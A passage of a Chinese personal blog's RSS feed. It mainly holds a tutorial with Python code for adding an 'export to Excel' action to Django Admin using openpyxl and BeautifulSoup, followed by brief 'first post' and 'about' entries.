&lt;/div>&lt;p>至此整个流程就完成了!&lt;/p></description></item><item><title>Django Admin管理后台如何导出Excel表格</title><link>http://dosoos.github.io/blog_basha/p/django-admin%E7%AE%A1%E7%90%86%E5%90%8E%E5%8F%B0%E5%A6%82%E4%BD%95%E5%AF%BC%E5%87%BAexcel%E8%A1%A8%E6%A0%BC/</link><pubDate>Sat, 12 Aug 2023 23:56:52 +0000</pubDate><guid>http://dosoos.github.io/blog_basha/p/django-admin%E7%AE%A1%E7%90%86%E5%90%8E%E5%8F%B0%E5%A6%82%E4%BD%95%E5%AF%BC%E5%87%BAexcel%E8%A1%A8%E6%A0%BC/</guid><description>&lt;img src="http://dosoos.github.io/img/django2excel0.png" alt="Featured image of post Django Admin管理后台如何导出Excel表格" />&lt;p>Django自带的管理后无法导出Excel表格，第三方的插件导出的话会很繁琐，而且导出格式会携带很多数据库冗余字段，使得表格很难看。给大家看一下我的解决办法，100%所见即所得，原样导出后台界面数据为Excel表格&lt;/p>
&lt;p>&lt;img src="http://dosoos.github.io/blog_basha/img/django2excel1.png"
loading="lazy"
alt="django管理后台"
>&lt;/p>
&lt;h2 id="一共分三步">一共分三步&lt;/h2>
&lt;ul>
&lt;li>安装Excel依赖&lt;/li>
&lt;li>编写admin.ModelAdmin扩展&lt;/li>
&lt;li>给指定Admin模型添加导出方法（actions）&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="1安装依赖">1.安装依赖&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pip install openpyxl beautifulsoup4
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="2编写adminmodeladmin扩展">2.编写admin.ModelAdmin扩展&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">datetime&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">datetime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">django&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">http&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">HttpResponse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">django&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contrib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">admin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">templatetags&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">admin_list&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">django&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contrib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">admin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">utils&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">lookup_field&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">django&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">utils&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">safestring&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">SafeString&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">bs4&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">BeautifulSoup&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">openpyxl&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">Workbook&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="n">ExportExcelMixin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">object&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">get_export_ignore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">export_as_excel&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">request&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">queryset&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">HttpResponse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">content_type&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s1">&amp;#39;application/msexcel&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">download_filename&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;{}_{}.xlsx&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">model&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">_meta&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">datetime&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">now&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strftime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;%Y-%m-&lt;/span>&lt;span class="si">%d&lt;/span>&lt;span class="s1">T%H:%M:%S&amp;#39;&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">response&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;Content-Disposition&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;attachment; filename={}&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">format&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">download_filename&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">wb&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">Workbook&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">wb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">active&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">cl&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_changelist_instance&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">headers&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">admin_list&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">result_headers&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">cl&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">field&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;text&amp;#39;&lt;/span>&lt;span class="p">])&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">field&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">headers&lt;/span>&lt;span class="p">][&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">:])&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">obj&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">queryset&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">results&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">for&lt;/span> &lt;span class="n">display&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_list_display&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">display&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">get_export_ignore&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">results&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">None&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">lookup_field&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">display&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">obj&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">cl&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">model_admin&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">type&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="n">is&lt;/span> &lt;span class="n">SafeString&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">result&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">BeautifulSoup&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">features&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;html.parser&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">text&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">results&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">str&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">result&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">row&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">ws&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">results&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">wb&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">save&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">response&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">response&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">export_as_excel&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">short_description&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s1">&amp;#39;导出Excel&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="3给指定admin模型添加导出方法">3.给指定Admin模型添加导出方法&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-gdscript3" data-lang="gdscript3">&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">django&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">contrib&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">admin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">order&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">admin&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">ExportExcelMixin&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">from&lt;/span> &lt;span class="n">order&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">models&lt;/span> &lt;span class="n">import&lt;/span> &lt;span class="n">Order&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 例举订单模型&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="err">@&lt;/span>&lt;span class="n">admin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">register&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">Order&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="n">OrderAdmin&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">admin&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ModelAdmin&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">ExportExcelMixin&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># other code&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">actions&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;export_as_excel&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># other code&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;hr>
&lt;p>导出的格式是这样
&lt;img src="http://dosoos.github.io/blog_basha/img/django2excel2.png"
loading="lazy"
alt="django后台数据导出"
>&lt;/p>
&lt;p>现在订单模型的管理后台即可有导出按钮，选择指定列以后，点击导出Excel即可将页面内容导出为Excel。&lt;/p></description></item><item><title>我的第一篇博客</title><link>http://dosoos.github.io/blog_basha/p/%E6%88%91%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87%E5%8D%9A%E5%AE%A2/</link><pubDate>Sun, 23 Jul 2023 10:32:25 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/%E6%88%91%E7%9A%84%E7%AC%AC%E4%B8%80%E7%AF%87%E5%8D%9A%E5%AE%A2/</guid><description>&lt;p>我做了一个博客，分享下开发日常&lt;/p></description></item><item><title>关于</title><link>http://dosoos.github.io/blog_basha/%E5%85%B3%E4%BA%8E/</link><pubDate>Sun, 23 Jul 2023 00:00:00 +0000</pubDate><guid>http://dosoos.github.io/blog_basha/%E5%85%B3%E4%BA%8E/</guid><description>&lt;p>我是一位独立开发者，自由职业者，去中心化拥护者&lt;/p></description></item><item><title>归档</title><link>http://dosoos.github.io/blog_basha/archives/</link><pubDate>Tue, 28 May 2019 00:00:00 +0000</pubDate><guid>http://dosoos.github.io/blog_basha/archives/</guid><description/></item><item><title>搜索</title><link>http://dosoos.github.io/blog_basha/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>http://dosoos.github.io/blog_basha/search/</guid><description/></item></channel></rss>